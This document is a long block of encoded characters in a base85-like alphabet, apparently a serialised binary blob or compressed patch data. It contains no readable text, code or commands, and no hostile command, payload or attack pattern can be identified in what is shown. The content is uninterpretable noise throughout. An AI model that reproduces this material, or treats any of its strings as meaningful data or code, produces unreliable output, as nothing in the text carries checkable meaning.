zR)k?s)?$6OfdK(_>4sepvohjqu&Me4U)syz7mY(k}W+1cq>g+TBzW-4=^Eyucj};oWa^)txXK zf8&G)^QSbWZz5h?rYJT0d3u_Mo(dbuiG#CKJe*IdctGWEu^XM9yB@<4Ys6jw$?C2) z3|umz)znPGnhOEguY<4%u0%ozcNrm!fJMj1IWC_f8W69ho5uCchIRtLjVcbg1xCv3 zL1#ju&VB^fyit$F;GAzbw_0^8qgy4^x=Z0wj%&Q_&1?EZ;}|=_^F5}|E|4t`ff+Zu z$D^U0gJiUdhA8M?_3534+3I$$5W{Hob}gUg?iRA`6v%hg)=-XmBww#Xxz~xYhl{!r zdab^(4v8Be68vTTln-09L(V6U9mDqk2@4#luB|NoiI1}|xLX*Eon*3Rg!?z*P zfx`hjArLguGWXQZgVY|ozw0{8Ry$*a(7Uo=8P_uPq?nVuyhQk)tWo(Q*2;}Yv8VmC>E zOHBu&Q~PAgU9h=j8GXUqnjUhgW74EWWp85e9$^9@pgvPE5C5FN)$D9_&@O2cX1wNXSzd3Gaum`&F`Lf1&HK$#?+0C{b{vTS*$Q(TUN~PSsnCoG@pXFPjaoalNv6H{Y4Lu!U!<1x{EFLI_$Zoenk*+vl zo@bM2^D$rszHM!P7Z<;~zjF$Ch*wWBeg{zzPD~wTneN=$9z+{M-BQa!@nNL`rVMN@ zY^p;BTJ1XXz$_l)y58|E6$HWY?NLY!D?g}tXBl-c%hhKF`(6JDM|MQ^L8$(ZjVun5 zo?U@oJ=HrfIn@5mko@4;dym12J{rz||ERk;!hceog)xXIk?aW+CEXG2Oavc8^*W#UyNwGeQFxRx~ zZZ8B3?eJALgy@tu?qHW$M1}gPdn!d|o@ZCJ>jiyE->C4Z|<+$uz7tM=f%ur<|9jB3W8=%go{rDGcbx=I0pD4z+v#WsGu9 zN;m!t?g!WA7H^Q*I|UMCW_)oN!d!zQ4+)`rN(?n@%f3! z4cWz}cW<+&MAZ#4^~*BR_l{U%!#xx{1U zjf{tJ35Jv8yQk|NnBHApOHF6l({0T|w*(t&#Tn=dVWgmca*+`;mBuI2aJmO%h7F%`Xw+I$rdz!;{>DH&QnMgb3j@eb{E23P zquA1yp(xOUMnTtjx9{C**e^;`hy&xW8RzgHJ7Y}m)khks?c*?V#dN!rD;GUu2*h)3 zF&%vS+)Ku&#vTYdF0glsQ5V*>C!-UwP0v)X_Y8!ajE)&*HJ;e-RemmF? zSoPmrW${NA26W?|72d5P-=aS~EnVq^^hNVVGz8i1#SpMEQ_=kZzm>6&U16>lXq|_} zzWmhG+2w9Uw|z_}$yOh`)!hKaTo+g%5n%IcDj3dcRWmK6Pb9cgN5N&QFJHCuG6wr2 zZ~~?m+92>+A2YSYT0N3txZniH4yMELYN1o*a9E@_JC3z$jZnOM5oEs?renYkKLC`L z6%RK@e3YLSrG`BX8iC!gWifCc$ocCTCCXi+M1{(#3o3-hG_@sGgqKK&P2ck7(m7LS z*ez36qAs72y4=Uh(Q|xRT6h^fy1Tg4fD`nGc+*5k{1hrWgrEKNO^IUch-B(C4Uo5CJ#% zIy*Aq9ftjG0!fP+JtiDB1Tu(PkD7u36&K6Z?*xm5g)tva4Gae-G3 zc7VqOz?M9ObQ_rwL+?MT4OK!R9FG2At;~Ps>oqt(42K-`a#}>FCs^%%)HD9F)gQgN zWA8;2<)bOP{?+P9pv$v*1A`Z~Dx>GX+H<)EsB!-;m4$Ftp8o4Suo`DX8kM;h`wt8g z1kKx3eAii9EXyGxUoZ;sB&-dbwY7AeH|8W#HD^yvf0PI;&ZlyU;c9M^&OHs18Lf`~D$Q!8FG-2--AxXJ5#ql;-jM^kABtC%L~ zfk-r7Z^}QoIo^(+PeYbn+E0?LO6^<+hEg=8w(LBIYAbuXY}QUcbz-TVyP}l@Ad%Zm zv!w&6#Vf-NgaB|^q|s3TT=$>~1IF)k_s>yPKf|Qv^d6S3oLR>WJMchao^CY6D3_kn zJ(>&ivabgVdVpqi6o=T!GtB9E+K2Co*>(>1$WceJxnSQC=6(q3*KxJjv+k^8vbEqZ zM+IPg$T61vdB*j0BP!Ww8_b^@VqAb`+F`4)^fRCgD@`%yp_m&kM)ZpZ)A)6%9Q4?4U|T2k8>5L7{$NjQ^+|I zFArg<%yobo$C;c`*XG(mzcckgDfY4lZ;2~s#l5O|M_g>hA!mT7aD3H-HIJ-5(11QkMaAFNNp$IxQ=hn2L z0vcO~j@xLU43%}m!HOq^H1fxh1JKlFYx&0D^s;E`QPP~8@I2X@DDin0n9;4krEutE zz}b`tbrRidRSg$T|GU9PEPKn`^LHGK5Diyilnz8(N4Zf4?=r(V@N@ktD+~H%fO@ei zvJrxjV0ydM=sID917x#R=dy5`(&o~=MjA?ZttYGr+2%7F>HO|-9|j9d zm1(9mkk1-zqm|SBo-*%6o}S~SWLJ;fhVMjaWvfmv3^_7Y>ezyy&H3-t>=q?;+z46x z-NpfvtR-oaEV@cwkp{P?OMmg)1DD_7antD9y>L=qNegFdlzFtPX_h0Bwh4zFxko_8 zUrcfhx2YvRyG{F^7d_z~H6AmYyLLZEY)<+*=WY2bTF|NDy?VUEmMNEcU5dlQT-G(~ zW>;%^VA)7!yr?~EcX0Z1xVOB6?pUxz-vI7PfK8#W_%oI}g2mmcSlI zqjAr!=LB$jyYa1NoIKe*qPoUX>(IK+z}%FJI2gWRm-5hU6Y=tQ^WKjoR63Nn zriC?B^dPRE;t%Vv>)gu=Y4dn4>pEILM?F0%Ue$<-Lg=F*Ugm8)GSk(AU)snw0wtc0 z#Bkbjl+ifBi7g9%@W@ElgzeCmV2~v?`QhzHrb08#1P(FcL7Z0Un!S;Dt5FeWM{}1k z5TAt?$egPe#7;LxJK)F0%$`bmgYcKF&hVDND#58PCAd4Xczs&!AjiY}N%w^i0&rzx zyWUG+$H_mtIwv=K*op5(DvQ4*IZ$;uAyBF18it3xD$1)~ueQ36cY}!5;ywQ0WkrX9 zbe&4Z8~R}Im#q#?D`H^&ARhZ7u((w_i{m(TK(9Pt>l^ZAL+-eWUkd=@r96WBQ?6v}^wYJ!qSSGv}aVQn2?=#=Z-)mJR>XT;5?xhD&mi zAG`6P(spWk=69}`F)gKO|6%%323ikt;1(n~WKMelAR@W|B%3?Dx>)vobK5N31lC7N zf7K;vqO^x_PjNMuxq!4n>^Eon?);kh`i{BIQR~F7rsYo1ICjbEZ6|cnIc3VKZtBR} zkcrWaCRDnT=QG(*X)2n49`ty|e)`~>ql%G_oF*S_)zK$*EUbpHD_Sn zt2<}5+RbhBGw_$QKy4$!YOt0+=gl9vjoAU-Su;20>=J)D>Sx5B%rn8rW`Ao>tk#SfI0&#L$xJv{Mw)HtgT)Wd=nehgsVA!4xwN2;UV% z%tY%Tqqh&2iW?9sRnv<4alC?A{O#ufs?+ZGPla-EzzTRXe(WUC(&rprKUp_39Pp&$Vx9f4p?ZD( zs*Q{#E?;`kNuWH6Gp2dCSOeT|_Ou?>^be9DeK#o;_kd~AZ|InNx9Z*qHUST_PO}OA zXDWUVcbiO|4sR5St69?1G{Y(+@nK2FbXk&&Zup~d{?Q-Jvx4-#zj_=z&k-Pf+aK+t zbJkNY*x7FDC4h8gHUt5)Hs@q~2}Q8R$<@+soPD(7`$L2I(uimKkvKs!b&4@|`Z=|S z^-VbpRL60Yne^XJ)T{UdmZ0ro)l3&6Zl0)t&-r7BRsgZOIvnFoer9HUC)=;}mfz9! zu5}wW9=(Uz%3}(ce`{n;0KS%A4xf!fNQaF2#=~~BMw%Xt0>}Rh`3#DcZz^$5|p+iW~gsR~2 ze)!8#XG!Dc4;;zz1IxvJ*=*Fytxz5kvVkQO#2(q7`uN!ZxWU_To&ANbv6v0)(dqEQ zPc0oZ1|jRJ4Ysb-{DQ6P4LwF`H%<+7uU%y0rl^O#SkONf!1wH&QsRO{Ph*BuC`NC6 z6oIxkS#&2h9;XkozTgSxo*j$|_%TG3+0o(%D6!+O^Ls4LPfpm8muBycUODY66Xp;;;{hgz^+wLycfDAtuy18*w|Ss<2Z^>MX=_Q zCG7}})W7J+c+|cglx>MA{b%TNy8byX@z_1QJ;kWz^KIYYNie2s9ANaz_O=BKu)63y z&vnAf<=8)2Fms}^YGh}QJ*|-{yVo>E+Dp#Q$O1`&Q7?a5PaRBm)xn;~b34~iCjJp8 z%wez-4jI?JV4XQpMNWIiB3UJzE?lTd?TDo)NBSc&;4g>))n#Vj9P7#r%|aiWM-68V zUvUkjTq)Q?O6d#=vi1UQ^+wu9VaTw4CbS=OaP}2O-ubTV}_%edpls$R4a5V z{t7PlS*6d{!_cqgh)*4mrH@uft+BH=-T`xAu;Xb~e}EJ3qHxG#8iTAMrgqcD=`z1; zJ=HX2s;i!ADR*x|9>5I^0~v-JalD)>G4UR0GSxpN=E{?*b?Owj7T0r@IO6?f9JZ5B z(ea+y=NxaGQfhjZ+Rt-_jdFDFpy@W%GR>OX@Y^~|;|Q&jg@Kg+mM)2(@bfcRf2pc1 zcb#2Xoc<9}O00!c*@) z*<*0Wrn5egqfU}GYtE97b=m{w(RBCI-4ln=VP+dK=a|?7nUC~B@wltmL#i5ZjJ>O_ zcLMz5yfl%eR#``d1pvmQKW`cK0M`j*&d|H*H} z>`DJnN{+gW^RLuiOP7z=ZVuej7z7zmnS*Q~LBt!G4BU^Cc0^5v8Jglq{@YXU1x?Sr z2s#Wh3gKrNM(ub7#Pn)nxy-SuzC#O=@$KP!S6f3cB7bK`^>1v5Ul`@}6X&RIu*2%9 z9Dc82*(G-Jmb?q*YcY zn!98z5_Fpzx`{RzP&6#ZHAb`NoAO7wqj;w z_4T#2PHJyktTy~j75*zzsm!rK)u}pg_))iNRxP+zsDx_AzooeE#T7pquJ{Y?Dl>PH z+DT1Pt$2-}?7?IHE;WAfb$k!L^Y@ljX4WEk!QWk0nOg)@7yhddM$Phqzr~Cf%%evg z2>zW&Kvw*HX1s{vQ8S?Q;)jX!3;t%a%IsgQqDZ?0FIGr`gj%HPR2vX?<9UzsZjqXg zXB~iuGh6X=kqUxQH~vdV8JlqJ#`8A3@4(xTT8V7hamN(hcoJ31@QnrZt4cg?2QN)S zl>9|w{F?cAuo#aQlkjRK{_z!mX;@_rACCw8$4C4fU6on9NHrkMQe@f#_}yxiK&P;m z30M||$@z=1D)Z1r9%oqQ4|T{70(W*#N~}!y_bF+fSkg1GWaYlY{Uy!*eYpBd*Ob2l zyK(m&zDWrhm|uS3*uSi~XPLiqi68yNZ<2wi$G;D@hT;$~rgoV7^%MV!w%%oa{>bsh zioaNkDlKWocm8m#%G_jpkAL#Y@$C!nguh~oN*>=cTy4DhJ}l+`4}amJ{;Vx7Qel7p z&ni51vn6?>vopu{-$*36i}Es?HdUL4GrrFc`yJ2Cif_03kun6ir0T8-X@!E5d+)LOrVIV2YZj<15p3TusO?1@ph&L+$yQg#!D1O zlbn-E=}vPl)39J98A`z}00SU89~UVY?@_R2DA*EPunX}pxx^N%dHb0MpkS#7hm7F^ zu=%rLbCH+A?-Z;}QeBLfD3~U>B$ZMZOsBb&X;?7c4y9oDg>oXg92Y4V?@_SjDA<9v zU{~T{@<3a#!1k`2y~m7p-8H*k9WrKgp$6L_1;THVYp}c>3RwJ5IKkq##x+>p1MEQn z+iAgGhlj~d3wHAMuA5n7Mr%Ob0ti3ptpV|ND1g|x0SG_7tpV{KfcgNa#{#+u577ng zVNdHHwgu4j2)agg@>-4OV8L@UQc7*|b|`pm1q0x@MPT3y?}29(@T{$-j zOr^OsQVO-Amv>kbynuy0!;gonO0P0%_1=hrjJLalw1 zJsG{71@MiVd8V-Wufh5qSv-eopgP!|_3l7r!%u1ejdrB(B69*n3K{*(?AAJsu^8D&a>(Trn;G?x$<3vcG&BB^k~9e3{vR8}Sp@*F)F%z1 z6&Gm`yhnq$7Y*Vb+Z2}JVe+1WHNmUUugk}(iECGHkB_5{+EfMPv+O=8O&ih)8r}{C zO&1sd)N%oVFT4kuM}X!bi{>CaOg>bw_Nc4<8i+tz6Fe%L`Uan6j|!S@q!To}9SWLN zU;q#Y3kZDSJ!dLhk|A`7y!f(0s>!n z4>T_U%?lRIQFxeqVMDTcS!td9Lx!nH()3K$!$S>QB7=c51eZIVNMh(NHK&fG5@{;S7$~(*b>Sfof z40%N|q57M=%FccQ3^Q=jyssa}mLrSo?49sL`FwctcRm?~FYrm~0-rZ(hy{L!tbF}% z;35U)Jqmm(3Vh+HlJjkW-(@-$_&t8H1-{T-D!B6PE0uS?`xQ2J+E*F!$`%-YN-5rx zQoIag@uBl%f{1_x{)kUlU{2GehA$dwfxjdxU;n>xkplA`1^yEXeCeo?i*13wVmcQ1 zYksi>zSLc+Z(Ofb-o@@$-@0C9$SYgm|H!NC>{NmO>pa=n7Wg|pVS&HL7b)=Nzh2<< zdEXmgFd^*Qp5>f?GEOV3EGaE4nOs;hsjy^Xq0^RkN|qL0QGSg!b&6*0UWn8?lVqYx z$xr9g5-50iy$hJlC`?W)ydrol=%}6iqehit)R>o?QHaZ|Jqjt*w?|>%{|1{jN;vS7 z-8Pb__^14PR&SiC`gh^;dGbQrq{s*39;joPVc+EBWaMz8lS9$0*@Y@ONw7MQ$Ijfd zP))$&ux|Iww zWuq&dvT+IzkzD0>>ePy7cM+V;DD2xq8Y7#-ujtpo8e?VHH;46932DqlW2`PLsVpq1 zC@d*Ajj<|O?QV>F5qUL9YFt3(@#$O?OkQK3cX4fDvV5?{SSylkSdV0XtuZ1WG)7Rf zG1eiQ`od(Tt3}#|QZLy=e^)l3W;Sr=7Doz`6}p*gVc3Qek$ht7$>-M^iY^YQna^I* z9Evbt>gJ$xlIEa`sGEb9s%;Jp>9r7*=D-U1KQ@QHLMS&*s&Uctf9D?MzZ*^C&cc#A zOrz-MoI80(;hNyhj+PP_#kUvUgXW9F4QbHcS%~j~Und0SoBg%Has~4ViOTL_qv>b+ z7s$LF3S=6;;A1Uo-UISSfc!yW$v-V*+QY@~0buY;=)YOk23`}q&7b@Ljp$ClAWZ%f z-|yo0FSB8CGj-X&1nN%)DsTUfP+#ZJu>zHgOAjvWL2?hMcWql)lH9iB_HB(Vvl0oC zw{N>9c#lWAw{5GXJBQLuZfm5g69Vr&Zt32=EpwnLDbnTb{}Hm7Ut5n7$RltO$h-&S zSGTJyd1bqjm$x&Jx50C1z%z%T0k6*UCtukP*1MSTXai%DFK@Rdcu6);UXooq^NsB^ zw|s}n7XXDSdu=;n9*KugB}jvtQG@ekR{r7Z;r^z>y%4lczLI`(;Gj2Q^kBJet8)b{ zQWQBUlpB|yDL5%6%%R9~XD|Ts9dHp@@*c8$53+n`yOOu8EGOc*$g<4H@*T=Dz07a9 zCHkRL<`U2*^&3x_CpkPFN&i!dxeFdb(x3&bDTC*llCdYhkDUBU2je?c^F!Qk%EsIJ<6q$DUDxQlh_e4*avnG(2+_DIt zFg)^-BZ}4pA7Dp+z+bB$XJA~-Q)Sx}k@ssL6^y(c3dS$M0DS%>(C~%#z&HjNi;7CN zwHUv|bHTW+!B_-jM`gorpQi-rwzz+YzOD!SctE`Po|=b_6}(@Ajo{_&Q1A{b6udtf zyu1hAiNL#4QOS-)CB+uA za^9l|tti6cqLTeB{4;}tr} zQUQ4(Zlvt>EIU#pmlWZ%(SA!V=6#Ml(9BS0kD!f7I{z$WIANKvx(KZF(*P(`Swfy( z%-q;Hcsmp+`~?hv`WjrMWW0wIIv|DiqLKrw6mHPzZo*|kk0XVfaZ}t?lssUd6xQJt zq;QacycIWIDRfyW$hTxW?=wUSnwcX7dF!8r3@3C8D?~V`q?<+yqf=hq!AvO(-VQ|= zZ-W7Z@ef=?7`%rt4uvodDJofMh4GF~ho9C^6OMF*@lV_oA6}GPIZzny;}wK)gn;}I zH(p^JZiOM=l85kqQxS${<_JUH`ez}-3H`zfwuMT{Q!RzVsT_ahY(uBZcp9Q@pk)xq6@!zQ-#_;aCCrBW}D>SZk#q z-;zi3elwARX68si-uh=D!wJU;tDnFsDNnT&j*+K7GdD_sw?mP_#-l|FS-6N4cn>L@ z1Sy5d3;a8rCrQSyX=BG?qKAc9i`VJ>dGA~?m0K)y|d0DQVrXkLy4 zU7$}Facm+9}BM8Ug#w&-jtsLZ=$RSf&g68GOL0=RCAPM}lkkf?AgvTD>k(8&p_!rC5J(&%Q z&)cCCe;yd1_*J+_@p+HpUxVUbRaA0?Eq<*|SC7kt8=T^YaZ`LihsR; zY`~4T_}AG&%eUlJyw_bqGjpUMZ~e27;e@{ks~A`%<*Am!weqx)xlszd{S_$;?qdED z93Y0za1k-^9%A@M5zg4w&gHLkif?d{vP^&vkj5l$#6l~6vk0hRm(g1I7Rk!q5ODv& zR{_V{UjdiypON`j`L@IYG#@%>B>!vRx}1aA3~#pJ^osW2qke@|!lSaC#fguKbk4XA zDd(Wc`O{y`Ic16d+sPEyA!S;&om9mPT%;;^kHSy)SC&lmo7&i2C)yL2;$8j8ss1&= z$NiIU9`TsJboGcX*1&AMO77~%T>$@7*$h7`cn+RQW$<<=l~JuTuE0gm@gC^PfNrKm zH&-XB#ie+6e{$wPbai-@+&zVEH$hjAr-F{RLqRuRXWW2`pyNHz1%Ph0zhn;!a3P*2 z_W-OX{mI!xQF_{lCuEs@Z@eih7c~3etDxcSP|&o30c0M>MbPjbXsUoFt=>h|wX~#v-@E&O90ZomC(ybHq;!<4aPu2j`)Bee~ zjCsmmdi0nPY*&4Fm8|pQE`WcktX9w+jHiN*w?jd9xX$~9dCz%?nIsOT3iGj?}2VU&^7u?q88xEc%F;`*0Tsh zBZ|^9#ylhK>J+>wTOepo#aBVY+o7O27YtAnXW}Agcn>uD0?j`Dl7$w{`FNgOsL|}> zL307#ltxdIG;<`P^44ex=b8EE1b%2hhiHMkVF_>*yfdfq?zw!m|K zEF|QyU0sV;$reBEv;$(Xpt}xF1s!jPg6lHLF;j5tG?NHGC0}O!X@3;sW-UH1Fpy{(v-qeZS#-(_bKiLORFZw6napViuZ}ARZ zC0F@jUulbJrJ#EkPX!%shl1{7o$&{_2s+*a-Jw8th(-6QPV^Zr#fSTohYUpbIbJ0X zPoXVtj{vMk{K+GUqLeNlcE|tW zP1(_c<|lj=G`t-OnvIGSYtn~{py55x91AqZ_)Gq1(PZO!@{bzLF&;FV;7!?af@V0r z3L4%H1_+-Qc0o3DkK7Ns{CevKNKT2r~-X~8^ znK35`L^vNcMBWYs;?6qvVq63w?*Z{lKs?=Fa;ilM7okd?3T#h0*pjD<`QV_Ngx6(% z5=gt?t4NKvLxHp_7@)vYaS=$o2c&ZW>1>NgGa*HRX6E)#de6>G$IgmY1WT!!DRQ1jP zIUnznSEq)cs|4Z#JQaw%9SX!|o%md{yHOy)Wve0ab|{dRg8`)0hKoSrJs{lzNLW2}=A)fD5j?S~7^{~z1KEp2b~>a+ zMTUQDYjCfsyd4Up6TkokUWsAIG}NYAi(RRlf%W+Q}f2HpbhbKsyTz01ci!4UPAJ_9&n|Y@xwx#(AU* z+QS=y_Lx9}gG@u??NFdy0tSF~p&-H+-UHgxfcB(?1`kx4)SlcBv}XhwTvr+zZ-)Zy zdN2T@s|69h@E*`!1hnTZG`NP+r1t!VpuHr}ZUm83C~t=X?G7*iqFV$JzVIH^)rx_{UA_3$5(;M+o3@H4h#VGYg_~>?*Y{}rn2N0f5}f4>JNAh z>(A8ye(^&6X;7#?f~+iK472zjz6w;{4h3qKU!W>n1S;fYq2ed*!D;QIfZ_(|D=WulCwwGX?7K}mdO=KN6;v<<4 zupg$X_*tzdCxEPMv_RbnUj-^}hXQpf7y#-dTm&lb0d;#o9W$n+$U>ct=kS8LppNlE zEgBRmT;Zy0oIu?bUj-^}hXQpD7yv5#*BUDC0d;3UoiL_k2Me_v&oMJ`L7m`*y2GGQ zgCHxLC{Qc#RiN^AC{W?4CDdwMM5??8)G2_vi^W-whsDi)?9s`?&-=0VcLA_ZS>2eP zphv?Jk?<(QGmcedr2;JsB7w%+p+K7t27ne7MEJscK-(42rdwzW@eqDI7qsacf;Lm2 z?F}M<#@nGlTMPz3w4Wft7v2Nf9)Px+h1QCPnB=*j?Y1FkdkVA!hy)sMhXSnw41lOj z5aA2&0WAb*!7(KPi>?dL;bPQnuak8e9D~|Rg<1sw_RCZiJ4<>8fvl`jpmyV{K;`XF zp#FcXod=j4#qsvE7b^OqD-B>E$f9dWQp=P&4FF0#mcdGu zPN|zx>Lx?ejbf>M9i>mrxl%XjTIxo1OFfyew#}^6>AbX3rIso6Yyc?rbOtL`I;Cz& zshh_-`2t8^qCUtcQ2sKoR)2E}`$o&nM`w=c=Q*PFOK0OG+P1RN&LhZ5lUk;EJkWOj)P}*KY(>-E!_hRSEUBCAZ)tc@# zRCgY0jqU!DJt+2vY>BxMPoHHRVQu?bsrT{HN|jos)IR|LX!OAVQq(4sr-!JmnyYPsm}mFsZTOksnRL+Xi7bDXnJ@o^*QW( zqmwK3$gZUxUboce32W=LQu%o8OO;xt)DHom)OQ)IROys@Jf$8R>--pF*Z1gSDeTAW z1a9xqxqD@&T5+EcW=k%$OmSZWKyja2O}vm!aVJyUiLtnEF?M~IKCy9e)2+Dg2(#j( zmMKnun24JG7mAZkac5B6X|cFo7`whtpVqjzGp)GZgjsP?%M>@j7dMC1M3vGh?gENC zZ)kc>tdEZ!g?H-ns4st4^f~BuSG2zxtG!jvM_k*5R_j1sTCGyc)cOkmD3OmDl*kL| z)OtC!UOF_rIM(`q*t@<}Us|a3;<~l+p`fYl3afQ-URteE%hZ|xK#4;ctXApNdOfvX zJ2bsI*18P#uJ6^?7HYk^ZmkvK+HSB~m*u6^Dz!|lA8uf^zQf=TZF`aQ8d*)7My5ZF z2%o7x!tQ<=!3COY8i~~XPJ`y;E`42Z_a3Q!KgPvsky@sf)(x$e(F|6Lba$v7q}^NehAbEwSLc}IGzbuqiS33#%_ZWW7n z+HBy#Fb--S6F@eUagLEIg3!DYLcn@F{>0vGKvw|8u!$gj4dd*00NUm<`$ReFHaMwe zc=%|7@$epl@gN-@{s<2bj!f^5Jba8@&1ApTNx_r(&7S=4bly+TGh4Wz^1svB`6)rp z8;uB_j&MbPiyKvI^s}xWdVa!`q3%I&Zs#@$gxHvYlQsEJ$tLgmjWu~YgEc9gCifg& zO?Mw1R@z~7yN{mQe%#P}vEvTx9g2OptA~oc1Yf<)Q0vs8s`ZhsKK=2zH1nBeK7Z=! zGXS5)8Iv^;lP*1@XB&;iW#T5s(D{>HJzDU%5)>YB!H?=LGLWabx-3}(S!41t0puAxY#H|&U2d=b69C$N zfx(thI?H${%XskUbaGtDm$AFaaV7maxq~rG9U2$vUpQGchn1}6KLAk8YgPm=q*Ki? zRCDy`^vKca;jy5%nR186g8Zg%M`Dm3S74GQKQ`r%tB(&u3;$&4%DOvTW z0D$u$gK;RGs!yQm<432*#*#n7?v9Nm`@Q9k$8d^D_M2-4PFBsdlGS_*0M&eDMess8 z)tpQ(pb$;u)NGx;z+h)K>6Gx!uj2ju|HNW%p`HKZ$%eJ-sCR!QeqLtET9(?w>nO|q1_0o^ zYDsw^o$McG+26$Cv;UA~|H!hx#gt{2S|zj%<(iw(R#a81vG}zEyiQ-J(66)ShnEo=$8}H*QZSw5J=khYPO9a7#95 z=U4NO?LV;dx`8TijbV09x8EJ#q8-&JBWFwFKT))}bZKS{eYV8D`b+LONx2Qr1zE(jz9NhsDa4VTwy8U)gP{?5Ih) z*4b3T9YJN&ROPgx?yy3Y6(X(5V@g&z0sx9jtvFstr^@4~a!RakBt|X(a*H^nP{$}d ztd8SL*3kw4=~uG!ypT>ECsD_=N$J#B$|~4-+xMm1DXOMXN;m|j7Rp)`Z!7EMl4Vr^ zpc?<1NW73vS*KIhsgu&_v8=UK)|Iug?onB%PSX1-zrlXdP&d6$);giAGfI}VkuPgQ ztA?_qQ`Xs(b!Mz-V~o7T-JS%GXI0j&-={o`AM8P`QcW7&ZvBf8=5otm-c=P@Cik}Gry7b7K5EHrBm|r|7vdH z#x7(yXTHmXlVNJR8)`pfjhYJ8XQC^3yy6@WG^<^+7 zrBmGdR@}SD^lgc^5Mcw%jZ5+&1{F0pe2AI{tCKG)uiBehT4$hn)cHb)Qyd;nfK%Ha zwl?)y+pmHGn|t?~#cbbM*!zSU2F5hCLc()p=4XQ6d$oe-b^+C@=CWEpkF_ooL29+C z%{h8W_U~&l=36+p$~-V2_6b=R@mUR;tiMp!8m3>#50sRd#pI}O2)&`)N-hZqSVI_W zC8e{H-;tx5euGTElK27`wjVz}J?Wy2oZE3~3#N<|$f-$+r2WLfpD2Yyg`@9gk{cgmSyo)BVhnuQr?Q zJBz5eA2(2ad5-+sTu2(a-LUAUuXy07)>&|yAU7?u-XO;=5F6bHdu()L6dJWz8l8wL zW;(OS66WjiiS)Ls<&NO2@^vltCT<_$_>N-mU&`uliY3FM_mn~QQ;R*ZI;9HlxY?FauI9O0mu1pdyBEG~!==*0-Y6`N z&7$sG#L2&N^IkZlb-9S6KkL*bXSQ^;ou5YE1M#hOo;yJwq~v|tR*+jIb3Pu^~YS?m!~K|yV$M=d5Yk$rp~|C^Y=e=JWW+;dkfhq z&K73epn>|EBGv?FoU{5n9ZB40Gis{;eWTNVHcmVL%KlD=Az#vrnmT2;zGggAaiMg< z`(-lL!&~y%Y9Sn2&7*3E*11?K;cz)$Fmhqi{|e9IC_0cXV8%`?-catuawQ;OUBX~{ zKsqOumC3=anaFfSiIIqKPPqz~WGn{bEUf0$vbGhi*T}j`wALED4yzMn_cuSMbm5fZ z-zIftZfX5Bc3WAn;`g$uJE!hR z9U8oi2{PQS4EZ9n3{LG6F>LG_N-`@if#bDgW3N0t*{QW(>o`GIECJQrK{d8+ck&{V zau*7Zlr>kJ?m@LiyKtV>9Xh;Me)-mC(LucGyN`e_KG~@;<6_NjT;#k07p?8qmibcg z{Qz5A5AY(k^&kpunJZ3zklMRq3yS&>YL{X%*0l7^bB|q1ISf{R@4Nfb|4G(-|ACmt zm>|RB#SFRgaa{U!y0x403hj<<{1k&(Zkz=*lx^dxF* zYhbAUDOvMvbzv#1E-vfe2>|VBhAytz`%JdF>vd~4=M~#+=vAYxU+cQovH6nz8PZ$F z&+;O6{2U4$n=4K)sK)%E(r4)@?U(f*F=bFo>-a{c)soh{K>9~W_hLTXOFo@J;q-dsnO+ z)HhMPl#w0cUCdc^!&*1&R@f|pvV*qQEWnoZU=;En3bEqf=0z<29bc_w#Ob|awOLtR z5@huZYwhS(?JR<_P1v>C3~WgcMj;=BYCp_Z`;o8KGUD_JYJ4M$@6?}Rt%SFt&rzJ- z>)3q$ow`-!68wd*^bx=t%Dq#64+vP_G8nhgd8gi(9MyCJGQ2%9w+x=U{O=`vdNVpa24dsgMw}2Jfi@}POPO)29v6GPLW{6Pn9Ly$LVX#9XoVVu0 z>f{!#5(dU&d+autJ@Q<5wQVgGa^^j8Z4vDUtMb<7;e*4&L)Q-kFH4*gn#fc<<8Xh# z?t-QYmczxm@rH8Uj0Oa(5e(Libh_D#96SsNneK)N-Hc&2*#|?HV_;>hPHy2C$o5NZ zukO#J$8W{AZC|Nm9gD(|V6&*JWazmgVbx%DN-R3^sj}S@_E!DbzO#smduz3rMqMjS zEnU3g_%$AtQ2IEO;Ndsf-nFLIV8)ik8_F%q27tiG+6=ZV(pi?n$x%%YMWzQ!OqMtR z5f*4e{E{Ov==v<4OeSCzJ-P1=6;6{~zdID1&d1p|M*92dE|_gG{TE(JL3r4$n-tw@ z-yN#7uqnEKcQ~;ac3xMIM5^5EC>e`5xVWI zQzOnH_||&P9b1RWDt?^!%Wd1knIOXv%8+j}yR>m4kceSp&rp(Cc?le^B^!I?3C?zM zzt+&}Q+W~FIst{Y%oV2-rS@(+%_6g9JsESCqOt|D zE#ETsoCXznm)5fl)Evn)9Y`zZ6kfz~PE~&XkfB_0I!$Wtij{+U25LNZ;vQMU>iXj>PV@Tx0NyTcZ*g*z87=$sEn8s(^DryUD?Kc3#^)-IKiRygirb9hzQ7Xh zC;UxE^Q7c!4BUlqCHF~u$xGZew|rhHm2caQ=53U3Tk?II%eP%e^Y+R2S-$Ulz8x%| zS9+N5GZ0w*k$zJw!(cl{I=OHALJRSGWO}p2jS|-*!s&Swe#w~__^ogLp5=@BYFX}j zuo5dVqrX#}{@NrOf8SC7*&o~y(lzZb=?(w+p++oUX~SdZE8wg@qIO3gckY4Rc00~0 zbwyHIzur);U;Xt8uvWGBgph2i9bj@fCxQx z;FnyCA-8;Tk3BiXWy>dkZ25#V+spSD&Z=<&DXm{`DA(_A0Rd|>Ym*n!>GvseRMWpA z(?3f*jtH%8gNqT8TRwTlR`biJ=xq4}Q(V5kVN(g)0&DGfL%DYL0R*g_tqWdAr=6F` zQBD7WOrMu{R^n+y=t+OQG`S8#Zu#UMdvc1)mQMiL@(F3Sm+zlAtH%9EY5jUbxqgoX z1gy!{CNHGZ@9X5KrmrH?S0r9WgjSEj#R$nQpFCr$`Q=k|wtRvqF5es2RKn4~T07oQ zuAP$s0qa=nf)~px$P_DIW00HX~>xdW9Y3*BbRMW4K>6a3pBSL@I;!-@9 z$TRlm6q2o;Vtd%)cZ8^{>quoSdPBJu?*as@TdXr)NTha}Rl}HE$@_+GBu#^`Ldc3+c4h?@P7T2buPgXhMYk9>=A4Dv@XG z&nYBZJ;nC0#W@I3Sx=D4TJ(l;Ej|YbSWjAKypT?d1ISTL=R&6a5uv;1nJsoFr`TP7 z^%U5{*5)BZ<>;4etTk^a*IMmYX7pP*cG+3`m6?Ue!Jl(Ort?e8hY0=YcW6kj-lO8t3)_@%J}1^iB^0A5L6Nc%3cPHFM>m$3_@sPgxiG5)-v9DiQ`0+xP#$M}=Z))-EX zYC05|4nYL!zVzN-`QdAZBw;#{V*~2Gk>gTwEKsN5NL_wg2{7YLC3NTQ+mOC4Z{IQN zlr!?SB#L_dFEhrQH9e}-gbrW1KL 